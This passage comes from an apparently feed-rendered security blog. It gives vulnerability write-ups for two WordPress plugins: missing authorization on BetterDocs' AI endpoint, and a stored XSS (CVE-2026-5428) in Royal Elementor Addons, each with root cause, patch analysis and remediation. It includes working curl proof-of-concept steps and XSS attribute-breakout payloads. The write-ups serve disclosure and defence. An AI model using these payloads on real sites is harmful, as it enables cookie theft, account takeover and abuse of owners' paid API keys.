&lt;p&gt;&lt;strong&gt;Step 3 — AJAX callback without capability check (lines 138–157):&lt;/strong&gt; The &lt;code&gt;wp_ajax_generate_openai_content&lt;/code&gt; action is available to any logged-in user. The callback verifies the nonce but performs no &lt;code&gt;current_user_can()&lt;/code&gt; check before making an OpenAI API call:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// WriteWithAI.php:138-157 (vulnerable)
public function generate_openai_content_callback() {
    // No current_user_can() check here
    if ( ! isset( $_POST[&apos;ai_nonce&apos;] ) || ! wp_verify_nonce( $_POST[&apos;ai_nonce&apos;], &apos;generate_openai_content_nonce&apos; ) ) {
        wp_send_json_error( &apos;Invalid nonce&apos; );
        wp_die();
    }

    $prompt   = sanitize_text_field( $_POST[&apos;prompt&apos;] );
    $keywords = sanitize_text_field( $_POST[&apos;keywords&apos;] );

    $ai_instance = new WriteWithAI( $this-&amp;gt;settings );
    $generated_content = $ai_instance-&amp;gt;generate_openai_response( $prompt, $keywords );

    wp_send_json_success( $generated_content );
    wp_die();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 4 — OpenAI API call with site&apos;s credentials (lines 86–136):&lt;/strong&gt; &lt;code&gt;generate_openai_response()&lt;/code&gt; retrieves the site owner&apos;s API key from plugin settings and forwards the attacker-controlled prompt to OpenAI:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function generate_openai_response( $prompt, $keywords ) {
    $api_key    = $this-&amp;gt;settings-&amp;gt;get( &apos;ai_autowrite_api_key&apos;, &apos;&apos; );  // site owner&apos;s key
    $max_tokens = $this-&amp;gt;settings-&amp;gt;get( &apos;ai_autowrite_max_token&apos;, 1500 );
    $model      = $this-&amp;gt;settings-&amp;gt;get( &apos;write_with_ai_model&apos;, &apos;gpt-4o-mini&apos; );

    $request_options = array(
        &apos;headers&apos; =&amp;gt; array( &apos;Authorization&apos; =&amp;gt; &apos;Bearer &apos; . $api_key ),
        &apos;body&apos;    =&amp;gt; json_encode( array(
            &apos;model&apos;    =&amp;gt; $model,
            &apos;messages&apos; =&amp;gt; array(
                array( &apos;role&apos; =&amp;gt; &apos;system&apos;, &apos;content&apos; =&amp;gt; &apos;...&apos; ),
                array( &apos;role&apos; =&amp;gt; &apos;user&apos;,   &apos;content&apos; =&amp;gt; $prompt )  // attacker-controlled
            ),
            &apos;max_tokens&apos; =&amp;gt; $max_tokens
        ) ),
    );
    $response = wp_remote_post( &apos;https://api.openai.com/v1/chat/completions&apos;, $request_options );
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;generate_openai_content_callback()&lt;/code&gt; function (registered at &lt;code&gt;wp_ajax_generate_openai_content&lt;/code&gt;) contains no capability check. Nonce verification alone does not authorize the action; it only proves session validity. Any subscriber who can authenticate to WordPress and obtain a nonce for &lt;code&gt;generate_openai_content_nonce&lt;/code&gt; can invoke the callback.&lt;/p&gt;
&lt;p&gt;A secondary root cause compounds the problem. The constructor reads &lt;code&gt;$_GET[&apos;post_type&apos;]&lt;/code&gt; without any user-context check. This lets any authenticated user force &lt;code&gt;ai_autowrite_button()&lt;/code&gt; to fire in the admin footer and collect a valid nonce.&lt;/p&gt;
&lt;h3&gt;Why the Nonce Check Was Not Enough&lt;/h3&gt;
&lt;p&gt;The plugin did use a nonce — so why wasn&apos;t that enough? WordPress nonces are &lt;strong&gt;user-session tokens, not capability tokens&lt;/strong&gt;. &lt;code&gt;wp_verify_nonce()&lt;/code&gt; returns &lt;code&gt;true&lt;/code&gt; whenever a logged-in user submits a nonce they generated for themselves — regardless of their role. A subscriber&apos;s nonce for &lt;code&gt;generate_openai_content_nonce&lt;/code&gt; is fully valid and will pass verification.&lt;/p&gt;
&lt;p&gt;The nonce check therefore gave a false sense of security. It prevented CSRF, but it did nothing to stop a low-privileged user from calling the action.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An authenticated attacker with a subscriber account can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Make unlimited OpenAI API calls using the site owner&apos;s paid API key&lt;/li&gt;
&lt;li&gt;Send arbitrary prompts (including adversarial or abusive content) to OpenAI via the site&apos;s account&lt;/li&gt;
&lt;li&gt;Exhaust the site owner&apos;s OpenAI quota, causing service disruption for legitimate editors&lt;/li&gt;
&lt;li&gt;Potentially incur significant unexpected charges on the site owner&apos;s OpenAI billing account&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress site with BetterDocs plugin installed and activated&lt;/li&gt;
&lt;li&gt;BetterDocs version &amp;lt;= 4.3.11&lt;/li&gt;
&lt;li&gt;&quot;Write with AI&quot; feature enabled in BetterDocs settings with a valid OpenAI API key configured&lt;/li&gt;
&lt;li&gt;An authenticated WordPress account with at minimum Subscriber role&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Authenticate and obtain a session cookie&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Log in as subscriber and save cookies
curl -c cookies.txt -b cookies.txt -s -o /dev/null \
  -d &quot;log=subscriber_user&amp;amp;pwd=subscriber_pass&amp;amp;wp-submit=Log+In&amp;amp;redirect_to=%2Fwp-admin%2F&amp;amp;testcookie=1&quot; \
  &quot;https://example.com/wp-login.php&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Obtain the nonce by triggering the admin footer on any wp-admin page&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Append &lt;code&gt;?post_type=docs&lt;/code&gt; to any wp-admin URL that a subscriber can access (e.g., the dashboard). BetterDocs reads &lt;code&gt;$_GET[&apos;post_type&apos;]&lt;/code&gt; unconditionally during &lt;code&gt;init&lt;/code&gt; and injects &lt;code&gt;ai_autowrite_button()&lt;/code&gt; into &lt;code&gt;admin_footer&lt;/code&gt;, which outputs the nonce in the page HTML.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Fetch the wp-admin dashboard with the triggering query param, extract nonce
NONCE=$(curl -c cookies.txt -b cookies.txt -s \
  &quot;https://example.com/wp-admin/?post_type=docs&quot; \
  | grep -oP &apos;(?&amp;lt;=const nonce = &quot;)[^&quot;]+&apos;)

echo &quot;Nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Call the vulnerable AJAX endpoint with an arbitrary prompt&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -c cookies.txt -b cookies.txt -s \
  -X POST &quot;https://example.com/wp-admin/admin-ajax.php&quot; \
  -d &quot;action=generate_openai_content&quot; \
  -d &quot;ai_nonce=${NONCE}&quot; \
  -d &quot;prompt=Write a 2000-word essay about the French Revolution in detail.&quot; \
  -d &quot;keywords=France,revolution,Napoleon&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The server responds with JSON containing an AI-generated response:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;success&quot;: true,
  &quot;data&quot;: &quot;The French Revolution, which began in 1789, was a period of radical political...&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This confirms that the site&apos;s OpenAI API key was used to fulfill the subscriber&apos;s arbitrary prompt request, consuming API quota and incurring costs on the site owner&apos;s account.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Log in to the OpenAI platform at &lt;code&gt;platform.openai.com&lt;/code&gt; as the site owner and check &lt;strong&gt;Usage → Activity&lt;/strong&gt; — you will see the unexpected API calls&lt;/li&gt;
&lt;li&gt;Check WordPress error logs for repeated calls to &lt;code&gt;https://api.openai.com/v1/chat/completions&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A successful response with &lt;code&gt;&quot;success&quot;: true&lt;/code&gt; in the AJAX output confirms the exploit worked&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;Six files were modified in version 4.3.12:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;includes/Core/WriteWithAI.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;current_user_can(&apos;edit_posts&apos;)&lt;/code&gt; check in callback; refactored nonce registration to &lt;code&gt;current_screen&lt;/code&gt; hook with capability gate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;assets/admin/css/global.css&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Minor style updates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;betterdocs.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Version bump&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;includes/Core/Admin.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Minor admin updates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;includes/Plugin.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Minor updates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;README.txt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Changelog entry&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch addresses both root causes:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 1 — Capability check added to the AJAX callback:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; public function generate_openai_content_callback() {
+    if ( ! current_user_can( &apos;edit_posts&apos; ) ) {
+        wp_send_json_error( &apos;Unauthorized&apos; );
+        wp_die();
+    }
+
     // Verify the nonce
     if ( ! isset( $_POST[ &apos;ai_nonce&apos; ] ) || ! wp_verify_nonce( ... ) ) {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Fix 2 — Nonce exposure restricted to authorized users via &lt;code&gt;current_screen&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; public function __construct( Settings $settings ) {
     $this-&amp;gt;settings = $settings;
-    $post_id = isset( $_GET[&apos;post&apos;] ) ? intval( $_GET[&apos;post&apos;] ) : 0;
-    if ( ! empty( $_GET[&apos;post_type&apos;] ) ) {
-        $post_type = $_GET[&apos;post_type&apos;];
-    } elseif ( $post_id &amp;gt; 0 ) { ...
-    if ( ! empty( $this-&amp;gt;isEnabledWriteWithAI() ) &amp;amp;&amp;amp; &apos;docs&apos; == $post_type ) {
-        add_action( &apos;admin_footer&apos;, array( $this, &apos;ai_autowrite_button&apos; ) );
-    }
-    add_action( &apos;wp_ajax_generate_openai_content&apos;, array( $this, &apos;generate_openai_content_callback&apos; ) );
+    if ( ! empty( $this-&amp;gt;isEnabledWriteWithAI() ) ) {
+        add_action( &apos;current_screen&apos;, array( $this, &apos;maybe_register_ai_autowrite_button&apos; ) );
+    }
+    add_action( &apos;wp_ajax_generate_openai_content&apos;, array( $this, &apos;generate_openai_content_callback&apos; ) );
 }

+public function maybe_register_ai_autowrite_button() {
+    if ( ! current_user_can( &apos;edit_posts&apos; ) ) {
+        return;
+    }
+    $screen = get_current_screen();
+    if ( $screen &amp;amp;&amp;amp; &apos;docs&apos; === $screen-&amp;gt;post_type &amp;amp;&amp;amp; &apos;post&apos; === $screen-&amp;gt;base ) {
+        add_action( &apos;admin_footer&apos;, array( $this, &apos;ai_autowrite_button&apos; ) );
+    }
+}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The patch replaces &lt;code&gt;$_GET[&apos;post_type&apos;]&lt;/code&gt; with &lt;code&gt;get_current_screen()&lt;/code&gt;, which uses WordPress&apos;s actual screen context rather than user-supplied URL parameters. Both the nonce display and the AJAX callback are now gated behind &lt;code&gt;current_user_can(&apos;edit_posts&apos;)&lt;/code&gt;. The fix closes both attack vectors completely.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;April 22, 2026&lt;/td&gt;
&lt;td&gt;BetterDocs 4.3.12 (patched version) released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 23, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 23, 2026&lt;/td&gt;
&lt;td&gt;Advisory published&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;betterdocs&lt;/code&gt; plugin to version &lt;strong&gt;4.3.12&lt;/strong&gt; or later.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/betterdocs/betterdocs-4311-missing-authorization-to-authenticated-subscriber-unauthorized-ai-api-usage&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/betterdocs/trunk/includes/Core/WriteWithAI.php#L138&quot;&gt;WriteWithAI.php trunk — line 138&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/betterdocs/tags/4.3.6/includes/Core/WriteWithAI.php#L138&quot;&gt;WriteWithAI.php tags/4.3.6 — line 138&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/betterdocs/trunk/includes/Core/WriteWithAI.php#L31&quot;&gt;WriteWithAI.php trunk — line 31&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/betterdocs/tags/4.3.6/includes/Core/WriteWithAI.php#L31&quot;&gt;WriteWithAI.php tags/4.3.6 — line 31&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?sfp_email=&amp;amp;sfph_mail=&amp;amp;reponame=&amp;amp;old=3512640%40betterdocs&amp;amp;new=3512640%40betterdocs&amp;amp;sfp_email=&amp;amp;sfph_mail=&quot;&gt;Changeset 3512640&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-28T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-5428: Authenticated Stored XSS in Royal Elementor Addons Plugin</title><link>https://hurayraiit.com/blog/cve-2026-5428-stored-xss-in-royal-elementor-addons/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-5428-stored-xss-in-royal-elementor-addons/</guid><description>CVE-2026-5428 (CVSS 6.4): Stored XSS in Royal Elementor Addons ≤1.7.1056 allows Authors to inject scripts via image captions to steal admin cookies. Update to 1.7.1057.</description><pubDate>Mon, 27 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-5428&lt;/strong&gt; is a &lt;strong&gt;CVSS 6.4 Medium&lt;/strong&gt; Stored Cross-Site Scripting vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/royal-elementor-addons/&quot;&gt;Royal Addons for Elementor&lt;/a&gt; WordPress plugin. An attacker with Author-level access or higher can inject malicious JavaScript via image captions in the Media Grid widget. The script runs in the browser of every visitor to a page that contains the widget. From a single injection, an attacker can steal session cookies and take over admin accounts.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Royal Addons for Elementor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;royal-elementor-addons&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5428&quot;&gt;CVE-2026-5428&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;6.4 (Medium)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Authenticated (Author+) Stored Cross-Site Scripting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/royal-elementor-addons.1.7.1056.zip&quot;&gt;&amp;lt;= 1.7.1056&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/royal-elementor-addons.1.7.1057.zip&quot;&gt;1.7.1057&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 23, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dmitrii&quot;&gt;Dmitrii Ignatyev — CleanTalk Inc&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/royal-elementor-addons/royal-addons-for-elementor-171056-authenticated-author-stored-cross-site-scripting-via-image-caption-field&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Royal Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image captions in the Image Grid/Slider/Carousel widget in versions up to and including 1.7.1056. The bug is in the &lt;code&gt;render_post_thumbnail()&lt;/code&gt; function, which uses &lt;code&gt;wp_kses_post()&lt;/code&gt; instead of &lt;code&gt;esc_attr()&lt;/code&gt; for the alt attribute context. Authenticated attackers with Author-level access or above can inject malicious scripts into pages. Those scripts run whenever a visitor views a page that shows the compromised image in the media grid widget.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The vulnerability is in &lt;code&gt;modules/media-grid/widgets/wpr-media-grid.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Query execution (line ~6670, vulnerable version)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The Media Grid widget queries WordPress attachments and iterates over them via &lt;code&gt;WP_Query&lt;/code&gt;. For each attachment, it calls &lt;code&gt;render_post_thumbnail()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// wpr-media-grid.php ~line 7795
$this-&amp;gt;render_post_thumbnail( $settings, get_the_ID() );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. The vulnerable function (lines 6752–6759, version 1.7.1056)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Render Post Thumbnail
public function render_post_thumbnail( $settings ) {
    $id = get_the_ID();
    $src = Group_Control_Image_Size::get_attachment_image_src( $id, &apos;layout_image_crop&apos;, $settings );
    $alt = &apos;&apos; === wp_get_attachment_caption( $id ) ? get_the_title() : wp_get_attachment_caption( $id );

    echo &apos;&amp;lt;div class=&quot;wpr-grid-image-wrap&quot; data-src=&quot;&apos;. esc_url( wp_get_attachment_url( $id ) ) .&apos;&quot;&amp;gt;&apos;;
        echo &apos;&amp;lt;img src=&quot;&apos;. esc_url( $src ) .&apos;&quot; alt=&quot;&apos;. wp_kses_post( $alt ) .&apos;&quot; class=&quot;wpr-anim-timing-&apos;. esc_html($settings[ &apos;image_effects_animation_timing&apos;]) .&apos;&quot;&amp;gt;&apos;;
    echo &apos;&amp;lt;/div&amp;gt;&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Line 6755&lt;/strong&gt; — The &lt;code&gt;$alt&lt;/code&gt; variable is populated from &lt;code&gt;wp_get_attachment_caption()&lt;/code&gt; (the &quot;Caption&quot; field in the WordPress Media Library). If the caption is empty, it falls back to &lt;code&gt;get_the_title()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Line 6758&lt;/strong&gt; — The &lt;code&gt;$alt&lt;/code&gt; value is output inside the HTML &lt;code&gt;alt=&quot;...&quot;&lt;/code&gt; attribute using &lt;code&gt;wp_kses_post()&lt;/code&gt;. This is the vulnerable sink.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;wp_kses_post()&lt;/code&gt; is a content sanitizer designed for HTML body context. It strips disallowed HTML tags and attributes, but it does &lt;strong&gt;not&lt;/strong&gt; HTML-encode characters that break out of an HTML attribute context — specifically the double-quote character (&lt;code&gt;&quot;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;When &lt;code&gt;$alt&lt;/code&gt; contains a double quote, &lt;code&gt;wp_kses_post()&lt;/code&gt; leaves it as a literal &lt;code&gt;&quot;&lt;/code&gt;, which closes the &lt;code&gt;alt&lt;/code&gt; attribute and allows arbitrary HTML/event-handler injection:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Input caption&lt;/th&gt;
&lt;th&gt;&lt;code&gt;wp_kses_post()&lt;/code&gt; output&lt;/th&gt;
&lt;th&gt;Resulting HTML&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&quot; onmouseover=&quot;alert(1)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&quot; onmouseover=&quot;alert(1)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;alt=&quot;&quot; onmouseover=&quot;alert(1)&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Breaks out of tag entirely&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The correct function for attribute context is &lt;code&gt;esc_attr()&lt;/code&gt;, which encodes &lt;code&gt;&quot;&lt;/code&gt; → &lt;code&gt;&amp;amp;quot;&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt; → &lt;code&gt;&amp;amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt; → &lt;code&gt;&amp;amp;gt;&lt;/code&gt;, and &lt;code&gt;&amp;amp;&lt;/code&gt; → &lt;code&gt;&amp;amp;amp;&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Why Controls Missed This&lt;/h3&gt;
&lt;p&gt;WordPress documents &lt;code&gt;wp_kses_post()&lt;/code&gt; as safe for &quot;post content&quot; — HTML body text. Using it inside an HTML attribute is a misuse. The function allows some HTML tags and strips others, but it was never built to escape attribute-breaking characters. Any developer who knows XSS escaping context rules (HTML body vs. attribute vs. JavaScript vs. URL) would use &lt;code&gt;esc_attr()&lt;/code&gt; here instead.&lt;/p&gt;
&lt;p&gt;The WordPress Coding Standards require &lt;code&gt;esc_attr()&lt;/code&gt; for all attribute output, but the developer missed this check during implementation.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An authenticated attacker with at minimum Author-level access can:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Upload an image with a malicious caption to the WordPress Media Library&lt;/li&gt;
&lt;li&gt;Cause attacker-controlled JavaScript to execute in the browser of any visitor to a page that includes a Media Grid/Slider/Carousel widget showing that image&lt;/li&gt;
&lt;li&gt;Steal session cookies (including admin cookies) to achieve full site takeover&lt;/li&gt;
&lt;li&gt;Perform any action the victim user is authorized to perform (create accounts, install plugins if victim is admin, etc.)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is a &lt;strong&gt;persistent/stored&lt;/strong&gt; XSS — not a reflected attack. The payload lives in the database as the attachment caption and renders for every visitor. A single injection can affect all future visitors until someone cleans up the caption.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;royal-elementor-addons&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Elementor page builder active&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 1.7.1056&lt;/li&gt;
&lt;li&gt;A user account with at minimum Author role&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Inject the malicious caption via Media Library&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Log in to WordPress as an Author (or higher privilege) user. Navigate to &lt;strong&gt;Media &amp;gt; Add New&lt;/strong&gt; and upload any image file. After upload, click the image to open the attachment detail editor.&lt;/p&gt;
&lt;p&gt;In the &lt;strong&gt;Caption&lt;/strong&gt; field, enter the XSS payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot; onmouseover=&quot;alert(document.cookie)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Click &lt;strong&gt;Update&lt;/strong&gt; to save.&lt;/p&gt;
&lt;p&gt;Alternatively, inject via the REST API (if Author has API access):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# First, get the attachment ID of your uploaded image
ATTACHMENT_ID=123   # replace with actual ID
WP_URL=&quot;https://target-site.example.com&quot;
AUTH_HEADER=&quot;Authorization: Basic $(echo -n &apos;author_user:author_password&apos; | base64)&quot;

curl -s -X POST &quot;$WP_URL/wp-json/wp/v2/media/$ATTACHMENT_ID&quot; \
  -H &quot;$AUTH_HEADER&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{&quot;caption&quot;: &quot;\&quot; onmouseover=\&quot;alert(document.cookie)&quot;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Place the Media Grid widget on a page&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Edit any page with Elementor. Add a &lt;strong&gt;Media Grid&lt;/strong&gt; (or &lt;strong&gt;Image Slider&lt;/strong&gt; / &lt;strong&gt;Image Carousel&lt;/strong&gt;) widget from the Royal Elementor Addons section.&lt;/p&gt;
